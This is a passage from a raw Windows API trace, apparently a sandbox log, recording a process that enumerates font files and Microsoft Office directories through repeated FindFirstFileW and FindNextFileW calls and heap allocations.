ftLastWriteTime.dwLowDateTime=0x894a08cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3834c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSUIGHUB.TTF", cAlternateFileName="")) returned 1 [0232.426] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87a1bac5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87a1bac5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x365a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSUIGHUR.TTF", cAlternateFileName="")) returned 1 [0232.426] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x890e6d42, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x890e6d42, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x896442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x148ba90, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSYH.TTC", cAlternateFileName="")) returned 1 [0232.427] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x879f59bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x879f59bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xdb7230, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSYHBD.TTC", cAlternateFileName="")) returned 1 [0232.427] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87a1bac5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87a1bac5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x266b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTCORSVA.TTF", cAlternateFileName="")) returned 1 [0232.427] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87a1bac5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87a1bac5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x176a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NIAGENG.TTF", cAlternateFileName="")) returned 1 [0232.427] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x889e7568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x889e7568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89395811, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1211c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NIAGSOL.TTF", cAlternateFileName="")) returned 1 [0232.427] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a500ac, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a500ac, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86e09b78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1484ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="NIRMALA.TTF", cAlternateFileName="")) returned 1 [0232.427] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86a762bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13c640, dwReserved0=0x0, dwReserved1=0x0, cFileName="NIRMALAB.TTF", cAlternateFileName="")) returned 1 [0232.427] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87a1bac5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87a1bac5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd868, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCRAEXT.TTF", cAlternateFileName="")) returned 1 [0232.427] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87a1bac5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87a1bac5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x16b8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLDENGL.TTF", cAlternateFileName="")) returned 1 [0232.428] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87a1bac5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87a1bac5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13c94, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONYX.TTF", cAlternateFileName="")) returned 1 [0232.428] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87a1bac5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87a1bac5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4508, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.TTF", cAlternateFileName="")) returned 1 [0232.428] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87a1bac5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87a1bac5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc8cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PALSCRI.TTF", cAlternateFileName="")) returned 1 [0232.428] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87a1bac5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87a1bac5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.TTF", cAlternateFileName="")) returned 1 [0232.428] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87a1bac5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87a1bac5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x24ed8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARCHM.TTF", cAlternateFileName="")) returned 1 [0232.428] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87a1bac5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87a1bac5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12764, dwReserved0=0x0, dwReserved1=0x0, cFileName="PERBI___.TTF", cAlternateFileName="")) returned 1 [0232.428] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87a1bac5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87a1bac5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe490, dwReserved0=0x0, dwReserved1=0x0, cFileName="PERB____.TTF", cAlternateFileName="")) returned 1 [0232.428] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87a1bac5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87a1bac5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12930, dwReserved0=0x0, dwReserved1=0x0, cFileName="PERI____.TTF", cAlternateFileName="")) returned 1 [0232.428] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87a1bac5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87a1bac5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbcc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PERTIBD.TTF", cAlternateFileName="")) returned 1 [0232.428] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87ada680, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87ada680, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c3a0a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xab18, dwReserved0=0x0, dwReserved1=0x0, cFileName="PERTILI.TTF", cAlternateFileName="")) returned 1 [0232.429] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8913323b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x895f7d89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeb38, dwReserved0=0x0, dwReserved1=0x0, cFileName="PER_____.TTF", cAlternateFileName="")) returned 1 [0232.429] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x879f59bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x879f59bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb454, dwReserved0=0x0, dwReserved1=0x0, cFileName="PLAYBILL.TTF", cAlternateFileName="")) returned 1 [0232.429] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87a1bac5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87a1bac5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8829a0da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12b2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="POORICH.TTF", cAlternateFileName="")) returned 1 [0232.429] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87ada680, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87ada680, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c13f97, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x142f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRISTINA.TTF", cAlternateFileName="")) returned 1 [0232.445] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87ada680, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87ada680, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c13f97, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x205f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RAGE.TTF", cAlternateFileName="")) returned 1 [0232.445] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87ada680, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87ada680, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c3a0a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x122b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RAVIE.TTF", cAlternateFileName="")) returned 1 [0232.445] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87b72fc9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87b72fc9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c3a0a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x35c0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFSAN.TTF", cAlternateFileName="")) returned 1 [0232.445] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87b72fc9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87b72fc9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c3a0a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd028, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFSPCL.TTF", cAlternateFileName="")) returned 1 [0232.445] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87b72fc9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87b72fc9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c3a0a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe834, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROCCB___.TTF", cAlternateFileName="")) returned 1 [0232.447] GetProcessHeap () returned 0xc10000 [0232.447] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0232.447] GetProcessHeap () returned 0xc10000 [0232.447] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0232.447] GetProcessHeap () returned 0xc10000 [0232.447] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0232.447] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xaf31749c, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0232.448] GetProcessHeap () returned 0xc10000 [0232.448] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0232.448] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\DESIGNER\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb975fdf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb975fdf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb975fdf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0232.461] GetProcessHeap () returned 0xc10000 [0232.461] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0232.461] GetProcessHeap () returned 0xc10000 [0232.461] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0232.461] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0232.462] GetProcessHeap () returned 0xc10000 [0232.462] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.462] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf477755d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x246bb96e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x246bb96e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0232.495] GetProcessHeap () returned 0xc10000 [0232.495] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0232.495] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\1033\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf477755d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf477755d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf47e9c8f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0232.496] GetProcessHeap () returned 0xc10000 [0232.496] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0232.496] GetProcessHeap () returned 0xc10000 [0232.497] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.497] GetProcessHeap () returned 0xc10000 [0232.497] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.497] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0232.502] GetProcessHeap () returned 0xc10000 [0232.502] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0232.502] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4620012, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4620012, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4620012, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0232.525] GetProcessHeap () returned 0xc10000 [0232.525] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0232.525] GetProcessHeap () returned 0xc10000 [0232.525] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.525] GetProcessHeap () returned 0xc10000 [0232.525] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.525] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EURO\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0232.526] GetProcessHeap () returned 0xc10000 [0232.526] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.526] GetProcessHeap () returned 0xc10000 [0232.526] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.526] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Filters\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2ca2e08, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14c6cb9, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x14c6cb9, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0232.528] GetProcessHeap () returned 0xc10000 [0232.528] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.528] GetProcessHeap () returned 0xc10000 [0232.528] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.528] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2e1f46, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0232.547] GetProcessHeap () returned 0xc10000 [0232.547] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.547] GetProcessHeap () returned 0xc10000 [0232.547] RtlAllocateHeap 